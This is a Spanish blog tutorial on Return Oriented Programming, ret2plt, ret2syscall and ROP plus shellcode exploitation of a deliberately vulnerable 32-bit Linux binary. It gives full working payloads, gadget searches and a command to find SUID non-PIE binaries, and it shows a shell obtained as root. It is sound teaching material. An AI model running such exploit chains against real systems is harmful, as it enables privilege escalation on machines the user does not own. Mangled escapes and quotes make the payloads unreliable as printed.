9 Jul ROP: En el exploiting y en el amor todo vale
El post de hoy es prácticamente una continuación del post anterior, ya que hoy traeremos la generalización del ret2libc.
Antes de empezar, dar una pequeña explicación de qué es ASLR (Address Space Layout Randomization . Es un simple método de protección que aleatoriza el espacio de direcciones de los procesos. Si el ejecutable no es PIE (position independent executable, es decir, que esté preparado para ejecutarse estando cargado en cualquier dirección) no puede afectarle el ASLR, por lo que las secciones .text (código), .data, .bss, .got, .plt, etc (es decir, toda la información que se encuentra en el binario y no pertenece al stack/heap) se cargarán siempre en la misma dirección, cosa que podemos aprovechar. Las librerías en linux siempre son PIE, por lo que siempre tienen ASLR, si es que está activado en el sistema/proceso. Mediante un comando como cd /usr/bin ; file * | grep -i elf | grep -v -i pie | grep -i setuid
se pueden obtener los binarios con bit SUID activado que no son PIE.
Comencemos por un simple encadenamiento de funciones. El otro día vimos cómo colocando en el stack datos simulando un call
podemos ejecutar una función y encadenarle un exit(), función que al final no nos importa demasiado el argumento que reciba. Sin embargo, como ya hemos experimentado, suele ser necesario ejecutar un setuid(0) u alguna otra función, según necesidades y objetivos. Pongamos que deseamos llamar dos funciones cualquiera, la primera de 3 argumentos, y la segunda de 1 argumento. Cojamos el esquema que vimos en episodios anteriores para visualizar cómo lo haríamos supuestamente.
|buf |EBP(s)|EIP(s) | EIP(s) para aaaaaa | arg de aaaaaa() | arg de aaaaaa() | arg de aaaaaa() | +—–+—– —+——+———–+——————–+——————-+——————-+——————-+ | … | Relleno | &aaaaaa() | &bbbbb() | … | … | … | +—–+—– —+——+———–+——————–+——————-+——————-+——————-+ └ESP └EBP └ aaaaaa() recogerá | arg de bbbbb() con su ret esto
El problema es básicamente que no tenemos dónde colocar el argumento para bbbbb(), de hecho, para ella (la función) su EIP(s) es el primer argumento de aaaaaa() (este problema no lo teníamos con exit() porque es de esas -funciones- que se van y nunca vuelven).
La solución es mediante ROP (Return Oriented Programming), una técnica que consiste en buscar (en el binario et al) instrucciones seguidas por un «ret» de forma que se puedan encadenar unas con otras, estos trozos de código se llaman gadget_s. Los principales gadgets son del tipo pop;ret
, ya que permiten recoger los argumentos usados por la función anterior, dejando así el stack limpio para que la siguiente función recoja los argumentos apropiados. Para recoger los argumentos de aaaaaa() necesitamos un pop;pop;pop;ret
, un pop
por argumento. En ocasiones puedes encontrar un gadget add esp, 0x?? ; ret
, no lo menosprecéis, no deja de ser tan útil como uno de pop’s, y no sería raro que de hecho te salve la vida unas cuantas veces (no modifica valores de registros, a diferencia de los pop’s), el empleo de gadgets add esp
se denomina _esp lifting.
El gadget lo aplicaríamos así
|EIP(s) | EIP(s) para aaaaaa | arg de aaaaaa() | arg de aaaaaa() | arg de aaaaaa() | | | arg de bbbbb() +———–+——————–+——————-+——————-+——————-+———-+—–+—————+ | &aaaaaa() | &pop;pop;pop;ret | … | … | … | &bbbbb() | … | … | +———–+——————–+——————-+——————-+——————-+———-+—–+—————+ └ aaaaaa() recogerá con su ret esto
Tras la ejecución de aaaaaa() se recogerá con ret la dirección del gadget, que ejecutará 3 pop’s, recogiendo así los tres argumentos de aaaaaa(), terminando con un ret que recogerá en eip la dirección de bbbbb() que tomará como argumento el situado 4 bytes más allá, siendo los bytes anteriores al argumento los que recogerá el ret, colocando ahí un pop;ret
permitiría encadenar otra función.
Funciones que puede ser interesante llamar son strcpy()/strncpy() o sprintf()/snprintf() o memcpy() (o incluso un gets() en caso de que el atacante controle el stdin, es muy cómodo ya que solo requiere un argumento, pero si apuramos puede emplarse también un read()) en un caso de stack con ASLR, para construir cadenas en secciones —que se encuentren en ese caso— sin ASLR (como .data) a partir de bytes en el binario o en librerías (en caso de que estos no estén afectados por el ASLR —como un binario no PIE; en el caso de las librerías, es más bien en Windows donde puedes encontrar DLLs sin ASLR—). Pongamos que queremos construir la cadena «/bin/sh» en .data, pero no la encontramos en el binario ni en sus librerías (o sus librerías tienen ASLR), y sin embargo encontramos en 0x0804aaaa
el carácter «/», en 0x0804bbbb
la cadena «bin» y en 0x0804cccc
la cadena «sh»; con esto podemos arreglar algo tal que así:
strncpy(.data, 0x0804aaaa, 1);
strncpy(.data+1, 0x0804bbbb, 3);
strncpy(.data+4, 0x0804aaaa, 1);
strncpy(.data+5, 0x0804cccc, 2);
Obteniendo en .data una cadena «/bin/sh» [esto mismo se puede hacer también si se encuentran gadgets del tipo mov [reg], reg
[véase por ejemplo el funcionamiento de ROPgadget]. Controlando el stdin bastaría un gets(.data).
Otro comentario sobre ROPgadget. Muchas veces esta herramienta encuentra gadgets que ni aun revisando el código minuciosamente serías capaz de encontrar, esto se debe a que realiza la búsqueda en función de unos opcodes. Una instrucción tiene asociado un opcode, y aunque un binario no tenga una instrucción como tal, es posible (y bastante probable) que, por casualidad, cuente con sus opcodes —hay que tener en cuenta que solo nos valen en la regiones ejecutables—.
Teniendo en cuenta que call eax
se traduce en ffd0
(gdb) disas main
Dump of assembler code for function main:
0x000004e9 <+0>: call 0x4fe <__x86.get_pc_thunk.ax>
0x000004ee <+5>: add $0x1b12,%eax
0x000004f3 <+10>: mov $0xaad0ffbb,%eax
0x000004f8 <+15>: mov $0x0,%eax
0x000004fd <+20>: ret
End of assembler dump.
(gdb) x/i 0x000004f3
0x4f3 <main+10>: mov $0xaad0ffbb,%eax
(gdb) x/i 0x000004f5
0x4f5 <main+12>: call *%eax
Se aprecia que en función de dónde interpretes que se encuentra el comienzo de una instrucción se trata de una u otra.
El procesador cuando ejecuta una instrucción en una dirección no sabe si «originalmente» esa dirección estaba en medio de otra instrucción, porque no es así, un binario no es más que una sucesión de opcodes que tiene solo sentido si se inicia su lectura desde el comienzo. El procesador no distingue, a él le llegan opcodes y los ejecuta, no necesita más.
Herramientas como ropper o ROPgadget automatizan la búsqueda.
Continuemos por donde íbamos
$ objdump -d vuln
vuln: formato del fichero elf32-i386
[…]
804858d: 83 c4 0c add esp,0xc
8048590: 5b pop ebx
8048591: 5e pop esi
8048592: 5f pop edi
8048593: 5d pop ebp
8048594: c3 ret
Bonito gadget eh, míralo, qué gordo y lustroso que está.
$ objdump -x vuln
vuln: formato del fichero elf32-i386
[…]
Secciones:
Idx Name Size VMA LMA File off Algn
[…]
23 .data 00000008 0804a018 0804a018 00001018 2**2
CONTENTS, ALLOC, LOAD, DATA
Ya tenemos dirección donde escribir: 0x0804a018.
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e01f80 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7df4f10 <exit>
[...]
$ objdump -d -j .plt vuln | grep strcpy
08048370 <strcpy@plt>:
En libc.so.6 podemos encontrar de hecho una cadena /bin/sh, pero no queremos hacerlo así de fácil, ¿verdad?
Vamos a restringirnos solo a nuestro binario.
Podemos emplear ROPgadget con la opción --string
para encontrar cadenas
$ python2.7 ROPgadget/ROPgadget.py --binary vuln --string /
Strings information
============================================================
0x08048154 : /
0x08048158 : /
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string b
Strings information
============================================================
0x08048157 : b
0x0804824f : b
0x08048276 : b
0x080482a6 : b
0x080482cf : b
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string i
Strings information
============================================================
0x08048156 : i
0x0804815d : i
0x0804824e : i
0x0804825e : i
0x08048275 : i
0x08048281 : i
0x08048298 : i
0x080482c1 : i
0x080482f5 : i
0x080482f6 : i
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string n
Strings information
============================================================
0x0804815e : n
0x0804825f : n
0x08048282 : n
0x080482a2 : n
0x080482af : n
0x080482cb : n
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string bi
Strings information
============================================================
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string in
Strings information
============================================================
0x0804815d : in
0x0804825e : in
0x08048281 : in
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string /b
Strings information
============================================================
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string /s
Strings information
============================================================
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string s
Strings information
============================================================
0x08048162 : s
0x08048252 : s
0x0804825b : s
0x08048262 : s
0x08048266 : s
0x08048270 : s
0x08048279 : s
0x08048299 : s
0x080482b1 : s
0x080482c2 : s
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string sh
Strings information
============================================================
$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string h
Strings information
============================================================
0x0804866c : h
Vale, pues emplearemos las direcciones en este orden: 0x08048154 («/»), 0x08048157 («b»), 0x0804815d («in»), 0x08048154 («/»), 0x08048162 («s»), 0x0804866c («h»).
De todas formas, ROPgadget solo te muestra resultados terminados en » (porque le estamos pidiendo precisamente una string). En caso de no encontrar el byte necesario siempre se puede emplear xxd y encontrarlo fácilmente (de esa forma obtienes el offset del byte en el archivo, luego tendrás que sumarle al offset la dirección en la que se carga el programa), sin embargo el tener todos los resultados terminados en » permite usar strcpy() en caso de no tener strncpy() o memcpy() [si bien siempre puedes dejar que strcpy() te copie lo que quiera, que ya parará cuando encuentre un byte nulo, mientras la siguiente llamada a strcpy() sea justo tras el byte o bytes que interesaban, sirve perfectamente, puedes terminar la cadena con un strcpy() desde una posición donde se encuentre un byte nulo].
Pues a explotar se ha dicho
``$ ./vuln `perl -e ‘print
“A”x140 . # relleno
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x18xa0x04x08” . # .data
“x54x81x04x08” . # “/”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x19xa0x04x08” . # .data+1
“x57x81x04x08” . # “b”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x1axa0x04x08” . # .data+2
“x5dx81x04x08” . # “in”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x1cxa0x04x08” . # .data+4
“x54x81x04x08” . # “/”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x1dxa0x04x08” . # .data+5
“x62x81x04x08” . # “s”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x1exa0x04x08” . # .data+6
“x6cx86x04x08” . # “h”
“x80x1fxe0xf7” . # system
“x10x4fxdfxf7” . # exit
“x18xa0x04x08”’. # .data AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp��� �T�p��� �W�p��� �]�p��� �T�p��� �b�p��� �l�� �� O�� � sh-4.4$
`
*pum* Satisface cuando un exploit funciona a la primera primera…
Nótese que, mientras el ejecutable sea no PIE, y en caso de obtener las direcciones de system() y exit() de otra manera, como la plt, no importa si las librerías tienen ASLR activado; tampoco nos afecta el ASLR en el stack.
Sin embargo, la vida es hermosa y no siempre es posible hacer las cosas de este modo: en el caso del reto que puse ayer, al final del post, resulta que estaba… difícil la cosa para ejecutar el setuid(0), ya que al estar explotando un strcpy() no podemos emplear bytes nulos [1] (solución para el reto abajo). Otro posible problema sería que las librerías (o el binario en caso de ser PIE) se carguen en posiciones de memoria que comiencen por 0x00 (protección ASCII Armored Address Space, AAAS). En el caso de que el binario no esté afectado por ASLR (por ser no-pie) o AAAS y las librerías sí, ret2plt es una opción: saltar a la entrada de dicha función en la sección .plt del binario. La sección .plt (Procedure Linkage Table) es una especie de índice para los programas enlazados dinámicamente, de forma que al cargarse el programa en memoria, el enlazador (ld en sistemas Linux) situará en cada entrada de la plt la dirección correspondiente a dicha función (solo en el caso de las funciones de librería).
Ejemplo
$ cat a.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void asd() /* Necesitamos usar una función para que gcc la
«pida» al linker y por tanto se encuentre en
la plt, y precisamente queremos tener estas
funciones en la plt: system() y exit() */
{
system(NULL);
exit(0);
}
void imprimir(char* arg)
{
char buf[128];
strcpy(buf, arg);
printf(«%sn», buf);
}
int main(int argc, char** argv)
{
if(argc < 2) return 1;
imprimir(argv[1]);
return 0;
}
$ gcc a.c -o a -m32 -no-pie -fno-pie -fno-stack-protector -D_FORTIFY_SOURCE=0
$ objdump -d a -j .plt
a: formato del fichero elf32-i386
Desensamblado de la sección .plt:
080483a0 <.plt>:
80483a0: ff 35 04 a0 04 08 push DWORD PTR ds:0x804a004
80483a6: ff 25 08 a0 04 08 jmp DWORD PTR ds:0x804a008
80483ac: 00 00 add BYTE PTR [eax],al
…
080483b0 strcpy@plt:
80483b0: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c
80483b6: 68 00 00 00 00 push 0x0
80483bb: e9 e0 ff ff ff jmp 80483a0 <.plt>
080483c0 puts@plt:
80483c0: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010
80483c6: 68 08 00 00 00 push 0x8
80483cb: e9 d0 ff ff ff jmp 80483a0 <.plt>
080483d0 system@plt:
80483d0: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014
80483d6: 68 10 00 00 00 push 0x10
80483db: e9 c0 ff ff ff jmp 80483a0 <.plt>
080483e0 exit@plt:
80483e0: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018
80483e6: 68 18 00 00 00 push 0x18
80483eb: e9 b0 ff ff ff jmp 80483a0 <.plt>
080483f0 <__libc_start_main@plt>:
80483f0: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c
80483f6: 68 20 00 00 00 push 0x20
80483fb: e9 a0 ff ff ff jmp 80483a0 <.plt>
Encontramos que la dir de system() en la plt es 0x080483d0
. Vamoh a explotarlo (Marx meh).
$ ./a `perl -e 'print "A"x140 . "xd0x83x04x08" . "xe0x83x04x08" . "x6cxddxffxff"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЃ��l���
sh-4.4$
Prácticamente igual que emplear un ret2libc, solo que aquí no salimos de casa jaja. Ya entraremos más a fondo en el funcionamiento de la PLT y del lazy binding, así como otras utilidades más profundas para el exploiting (sobrescritura de entradas de la GOT (Global Offset Table) y ret2dl-resolve).
En último término, si no encontramos ninguna función útil en la plt podemos usar dos técnicas, ¿de cuál prefieres que hablemos primero?…Bueno empezaremos por esta.
Ret2syscall: en caso de tener gadgets que permitan colocar los valores necesarios en los registros, siempre se puede efectuar directamente una syscall sin necesidad de llamar a ninguna función (ROPgadget puede realizar un ropchain que emplea esta técnica para ejecutar execve()). En el solucionario ctf de hoy veremos un muy buen ejemplo, lectura obligada.
La otra técnica se conoce como ret2dl-resolve, que mejor vamos a dedicarle un artículo para él.
Como ultimísima opción se puede emplear una técnica adicional: mediante la entrada en la plt de una función cualquiera, perteneciente a la misma librería que la que nos interesa, podemos obtener la dirección. Calculamos la diferencia entre las direcciones dentro de la librería entre la función que encontramos en la plt y la función interesante. Esta diferencia la debemos sumar luego, on runtime a la dirección obtenida en la PLT. El problema es que no siempre es sencillo sumar una cantidad arbitraria mediante un ROP (en el solucionario ctf de hoy veremos un caso de suma arbitraria, nada muy complicado). Esto es sobre todo posible en la elevación de privilegios, ya que tenemos acceso a la librería y no es necesario especular qué versión es y demás molestias.
Como apunte interesante: podemos aprovechar una propiedad de las funciones de librería (bueno, y no solo las de librería), y es que en numerosas ocasiones están precedidas por instrucciones inocuas como xchg eax, eax
o nop
(que al final se comporta en x86 como un xchg eax, eax
). Estas instrucciones nos sirven como colchón de NOPs. Un colchón de NOPs es un conjunto de instrucciones NOP (como nop
o xchg eax, eax
) situados antes de un shellcode para aumentar las probabilidades de caer en una dirección que lleve a la ejecución del shellcode, esto es un método que veremos cuando hablemos de ASLR, ya que solo tiene sentido en sistemas con ASLR activado, ya que sin ASLR, a no ser que sea un exploit remoto, conoces las direcciones del stack.
Volvamos, estas instrucciones que preceden a las funciones de librería nos facilitan que si no obtenemos una suma con la suficiente precisión, aumentar el margen. Es, por decirlo de alguna manera, aumentar el número de direcciones que nos sirven. También sirve como solución en caso de que la dirección de la librería termine en 0x00 y no podamos introducirlo por el motivo que sea [1].
(gdb) p strcpy
$1 = {<text gnu-indirect-function variable, no debug info>} 0xf7e430d0 <strcpy_ifunc>
(gdb) x/5i $1-9
0xf7e430c7: xchg %ax,%ax
0xf7e430c9: xchg %ax,%ax
0xf7e430cb: xchg %ax,%ax
0xf7e430cd: xchg %ax,%ax
0xf7e430cf: nop
Por otra parte, mencionar también el falseo de frames (frames faking) como un método para encadenar funciones, y prometo una pronta entrega sobre ello en un artículo hablando sobre ataques al base pointer (ebp), incluyendo el (al menos para mí) gracioso off-by-one.
Continuemos por donde íbamos . Ya hemos mencionado la importancia de instruccíones como call eax
y jmp esp
, pero no hemos hablado de en qué son tan importantes. Una típica opción de explotación es ROP+shellcode. El ROP se emplearía para obtener permisos de ejecución donde sea necesario —eje_mprotect(), _mmap— (es posible que sea necesario copiar el shellcode a otra posición de memoria, especialmente si el stack/heap —sitios más comunes para nuestro payload— tiene ASLR, como .data) y el shellcode… pues haría cosas de shellcode.
Practiquémoslo. Necesitamos ejecutar primero un algo como mprotect(0x.....000, 0x01010101, 0x00000007)
, el primer argumento es la dirección a partir de la cual cambiar los permisos, debe terminar en un byte nulo —y el penúltimo byte debe tener el segundo nibble a 0, pero eso no afecta— (para mantener la alineación con el tamaño de página, que por lo general es de 4096, por si acaso, se puede comprobar con syscall()); el segundo parámetro indica cuántos bytes a partir de la dirección se deben cambiar los permisos, ese número (0x01010101) es el menor sin contener bytes nulos; y por último PROT_EXEC|PROT_READ|PROT_READ
(y no, en la implementación que mi gcc emplea de mprotect no se permite en este argumento que aparezcan bits con valor 1 si no tienen un significado definido por el estándar, aunque veo que en la implementación de mprotect para Mach sí debería funcionar, a no ser que la función __vm_protect()
se lo cargue por dentro). Tenemos por tanto que situar varios bytes nulos [1], lo que supone un problemilla. Podemos emplear una llamada a read() que escriba el ROP en el stack en el lugar preciso (al no tener ASLR esto es fácil). Para hacer un read() en el stdin el primer argumento debe ser STDIN_FILENO, que resulta que vale 0, otro problema. Sin embargo, tenemos la posibilidad de un ret2syscall. Podríamos hacer un mprotect con un ret2syscall, pero es más fácil con un read(), que en el momento en que controlamos EIP el registro EBX tiene el valor 0x0, además __NR_read vale 3, mientras que __NR_mprotect 125, así que nuestro ganador es un ret2syscall a read() para leer un ROP ret2libc a mprotect() que termine con shellcode. Veamos qué necesitamos para read()
EAX -> 3
EBX -> 0x0
ECX -> 0xffff…. -> dime hora, que ya veremos dónde quedamos
EDX -> cuánto leer en bytes -> nos da iguáh
Veamos ahora qué introduciremos para mprotect(). Sabiendo que nuestro buffer cae cerca de 0xffffd210, la página de memoria correspondiente comienza en 0xffffd000 (0xffffd210 & ~(0x00001000-1)
[0x1000 = 409610])
0xf7eb9240 0x…….. 0xffffd000 0x00010000 0x00000007 0x…….. 0xffffd210 0x…….. &mprotect &pop;pop;pop;ret pop eax;ret &shellcode &call eax o equiv.
Terminamos colocando en eax la dirección del shellcode (&buf) para acabar de una vez con un call eax
. Teniendo en cuenta que la segunda fase del payload (mprotect() + salto a shellcode) mide 32 bytes, respecto a la llamada a read(), nos basta que edx >= 32, ya que por mucho hambre que tenga read() y quiera comerse 4160342096 bytes (parece un número aleatorio ), nosotros solo le pasamos 32 bytes, y solo va a leer los bytes que le pasemos. Resulta que en el punto en el que tomamos el timón del programa edx vale 0xf7f9c850 (ahora el número de antes se entiende mejor), pues al ser un poquito mayor que 32 (un poquito ), nos vale. Pues empecemos buscando los gadgets que necesitamos. Hay que recordar tener cuidado con no modificarnos el ebx, para algo que nos dan hecho…
¿Necesitamos un xor eax, eax
? ROPgadget nos lo da (por cierto, el comando ldd
es algo indispensable para saber las librerías que usa un programa, y por tanto en qué librerías podemos buscar gadgets, y también para saber en qué dirección serán cargadas para ese proceso).
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib/ld-linux.so.2 --offset 0xf7fd6000 --badbytes 00 | grep "xor eax, eax"
[...]
0xf7fdbbd0 : xor eax, eax ; ret
¿Que necesitas un inc eax
? Toma guapx
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib/ld-linux.so.2 --offset 0xf7fd6000 --badbytes 00 | grep "inc eax"
[...]
0xf7fd6cb3 : add al, 0x83 ; inc eax ; add al, 1 ; ret
Te traigo como plus el add al, 1
, que me has caído bien.
¿Desean un pop ecx
? Cuidado, que si no os lo encuentro en un lado, sí en otro.
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --offset 0xf7dc4000 --badbytes 00 | grep "pop ecx"
[...]
0xf7e01e03 : pop ecx ; ret
—Me apuesto un int 0x80 ; ret
a que no lo haces.
—¿Que no?
[…]
—Venga.
$ python2 ROPgadget/ROPgadget.py --binary /lib/ld-linux.so.2 --badbytes 00 --offset 0xf7fd6000 --opcode "cd80c3"
[...]
0xf7fd6c30 : cd80c3
Ya tenemos todo para el read(). Vamos ahora con los ingredientes para la segunda parte.
—¡UN &mprotect
PARA LA MESA 2!
—Oído cocina.
$1 = {<text variable, no debug info>} 0xf7eb9240 <mprotect>
—A ver, la lista de la compra… pop;pop;pop;ret
.
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --offset 0xf7dc4000 --badbytes 00 --only "pop|pop|pop|ret"
[...]
0xf7e05fdb : pop ebx ; pop esi ; pop ebp ; ret
[Ahora ya no nos importa modificar ebx, la syscall read() ya está hecha.]
—Eh sí, póngame un whisky, poco hielo, con una rajita de limón, y una dirección de pop eax;ret
…
—En seguida traigo su whisky.
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --offset 0xf7dc4000 --badbytes 00 | grep "pop eax"
[...]
0xf7de9be7 : pop eax ; ret
—¿Quieres llamar de una vez a tu tía EAX para felicitarle el cumple?
—Vaaaleee… pásame el tel.
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --offset 0xf7dc4000 --badbytes 00 | grep "call eax"
[...]
0xf7dde182 : call eax
Con todo podemos hacer un esqueleto del payload para obtener las direcciones que nos faltan.
Parte 1 (argumento):
0xf7fdbbd0 xor eax, eax ; ret
0xf7fd6cb5 inc eax ; add al, 1 ; ret
0xf7fd6cb6 add al, 1 -> EAX = 3
0xf7e01e03 pop ecx ; ret –> ECX = 0xffff???? -> todavía no sabemos dónde quedar
0xffff???? – –^ # Apunta a la posición justo después de la dir de int 0x80;ret
0xf7fd6c30 int 0x80 ; ret # EAX = 3 ; EBX = 0x0 ; ECX = 0xffff???? ; EDX = da iguá
Parte 2 (stdin) [colocada en 0xffff????]:
0xf7eb9240 &mprotect
0xf7e05fdb &pop;pop;pop;ret
0xffffd000
0x00010000
0x00000007
0xf7de9be7 &pop eax;ret
0xffff¿¿¿¿ # Con «¿» para diferenciar del valor que ponemos en ecx antes, este apunta al shellcode
0xf7dde182 call eax
Ahora calculemos en qué dirección leer.
$ ltrace /home/arget/vuln "`cat sc.o``perl -e 'print "A"x(140-33) . "xd0xbbxfdxf7" . "xb5x6cxfdxf7" . "xb6x6cxfdxf7" . "x03x1exe0xf7" . "xaaxaaxffxff" . "x30x6cxfdxf7"'`"
__libc_start_main(0x80484f5, 2, 0xffffd354, 0x8048540 <unfinished ...>
strcpy(0xffffd200, "130026032513333152001300Ph//shh/bin211343PS211341260v1322315"...) = 0xffffd200
puts("130026032513333152001300Ph//shh/bin211343PS211341260v1322315"...1���1�̀1�Ph//shh/bin��PS���
1�̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAл���l���l�� ������0l��
) = 165
Vemos que strcpy escribe en 0xffffd200, por lo que esa es la dir de buf. Teniendo en cuenta que desde buf hasta EIP(s) van 140 bytes, y que luego escribimos 6 direcciones (32 bits cada una, 4 bytes), hacen
140 + 24 = [espera que… gnome-calculator]164
0xffffd200+0xa4 = 0xffffd2a4
Por cierto, el hecho de que ltrace no haya acabado es porque se ha quedado esperando el read(). Podemos comprobar que todo ha funcionado perfectamente con strace:
$ strace /home/arget/vuln "`cat sc.o``perl -e 'print "A"x(140-33) . "xd0xbbxfdxf7" . "xb5x6cxfdxf7" . "xb6x6cxfdxf7" . "x03x1exe0xf7" . "xaaxaaxffxff" . "x30x6cxfdxf7"'`"
execve("/home/arget/vuln", ["/home/arget/vuln", "130026032513333152001300Ph//shh/bin211343PS211341260v1322315"...], 0x7fffffffe228 /* 39 vars */) = 0
strace: [ Process PID=17487 runs in 32 bit mode. ]
[...]
read(0,
Perfecto. Ajustemos ahora las direcciones
Parte 1 (argumento): 0xf7fdbbd0 xor eax, eax ; ret 0xf7fd6cb5 inc eax ; add al, 1 ; ret 0xf7fd6cb6 add al, 1 0xf7e01e03 pop ecx ; ret 0xffffd2a4 -> ya sabemos dónde quedar 0xf7fd6c30 int 0x80 ; ret
Parte 2 (stdin) [colocada en 0xffffd2a4]:
0xf7eb9240
0xf7e05fdb
0xffffd000
0x00010000
0x00000007
0xf7de9be7
0xffffd200
0xf7dde182 call eax
Bien, ya estamos listos para explotar
Primera parte:
"`cat sc.o``perl -e 'print "A"x(140-33) . "xd0xbbxfdxf7" . "xb5x6cxfdxf7" . "xb6x6cxfdxf7" . "x03x1exe0xf7" . "xa4xd2xffxff" . "x30x6cxfdxf7"'`"
Segunda parte:
perl -e ‘print «x40x92xebxf7» . «xdbx5fxe0xf7» . «x00xd0xffxff» . «x00x00x01x00» . «x07x00x00x00» . «xe7x9bxdexf7» . «x00xd2xffxff» . «x82xe1xddxf7″‘
Explotación:
$ perl -e 'print "x40x92xebxf7" . "xdbx5fxe0xf7" . "x00xd0xffxff" . "x00x00x01x00" . "x07x00x00x00" . "xe7x9bxdexf7" . "x00xd2xffxff" . "x82xe1xddxf7"' > a.txt
$ (cat a.txt ; cat) | /home/arget/vuln «`cat sc.o«perl -e ‘print «A»x(140-33) . «xd0xbbxfdxf7» . «xb5x6cxfdxf7» . «xb6x6cxfdxf7» . «x03x1exe0xf7» . «xa4xd2xffxff» . «x30x6cxfdxf7″‘`»
1���1�̀1�Ph//shh/bin��PS���
1�̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAл���l���l�� ������0l��
whoami
arget
### Oops ###
$ sudo chown root:root vuln
$ sudo chmod u+s vuln
$ (cat a.txt ; cat) | /home/arget/vuln «`cat sc.o«perl -e ‘print «A»x(140-33) . «xd0xbbxfdxf7» . «xb5x6cxfdxf7» . «xb6x6cxfdxf7» . «x03x1exe0xf7» . «xa4xd2xffxff» . «x30x6cxfdxf7″‘`»
1���1�̀1�Ph//shh/bin��PS���
1�̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAл���l���l�� ������0l��
whoami
root
Qué hermosura.
Si no aparece el prompt de la shell es porque escribimos y leemos a través de cat
.
Por cierto, esto podría valer como solución para el ctf del post anterior. Si bien esto no es propiamente un ret2libc puro, ya que empleamos un shellcode (se trata de un ROP+shellcode), por eso mi solución abajo es también interesante.
La obtención de gadgets no siempre es completa mediante una única herramienta, suele ser recomendable buscar gadgets mediante varias herramientas, siendo mis preferidas **ROPgadget**
, Ropper
, Radare
, msfelfscan
(msfpescan
). Adicionalmente, en Windows, puede servir OllyDbg
.
Soy consciente de que absolutamente todos los gadgets que he empleado pertenecen a librerías, lo que es poco recomendable, ya que lo hace poco portable, y en caso de que esté activado el ASLR no funcionaría, mientras que con el uso de gadgets del binario funcionaría incluso con ASLR, si bien solo si el binario es no-pie. Pero este era solo un ejemplo para demostrar la técnica ROP+shellcode, además este binario es demasiado pequeño como para poder encontrar todos los gadgets que pueden llegar a ser necesarios.
[1] Ahora que nos hemos estado peleando todo este tiempo con los bytes nulos, os contaré un secreto: para situar en el stack un byte nulo (ya sea para que sea un argumento de una función o para recogerlo con un pop;ret en un registro con el objetivo de hacer un ret2syscall) se pueden emplear funciones como str(n)cpy —byte a byte—, memcpy(), sprintf()…
No lo he mencionado hasta ahora para desarrollar bien otras técnicas. Al final todo se reduce a tener recursos.
Vamos a ver la solución del reto de ayer de la forma fácil
Sabiendo que
0x0804843c 0x00 08048370 strcpy@plt:
$1 = {<text variable, no debug info>} 0xf7e84d60
0xf7f420a8 : /bin/sh
8048590: 5b pop ebx
8048591: 5e pop esi
8048592: 5f pop edi
8048593: 5d pop ebp
8048594: c3 ret
Construimos un esquema como este
/home/arget/vuln "`perl -e 'print "A"x140 . "x70x83x04x08" . "x92x85x04x08" . "xaaxaaxffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "xaaxaaxffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "xaaxaaxffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "xaaxaaxffxff" . "x3cx84x04x08" . "x60x4dxe8xf7" . "x93x85x04x08" . "xefxbexadxde" . "x80x1fxe0xf7" . "x10x4fxdfxf7" . "xa8x20xf4xf7"'`"
Mediante ltrace vemos el comienzo de buffer, al que le sumamos 140+18*4 y obtenemos la dirección donde se encontrará el 0xdeadbeef que hemos colocado, el argumento de setuid(), de forma que ajustamos las direcciones en las que escribe strcpy().
Finalmente explotamos
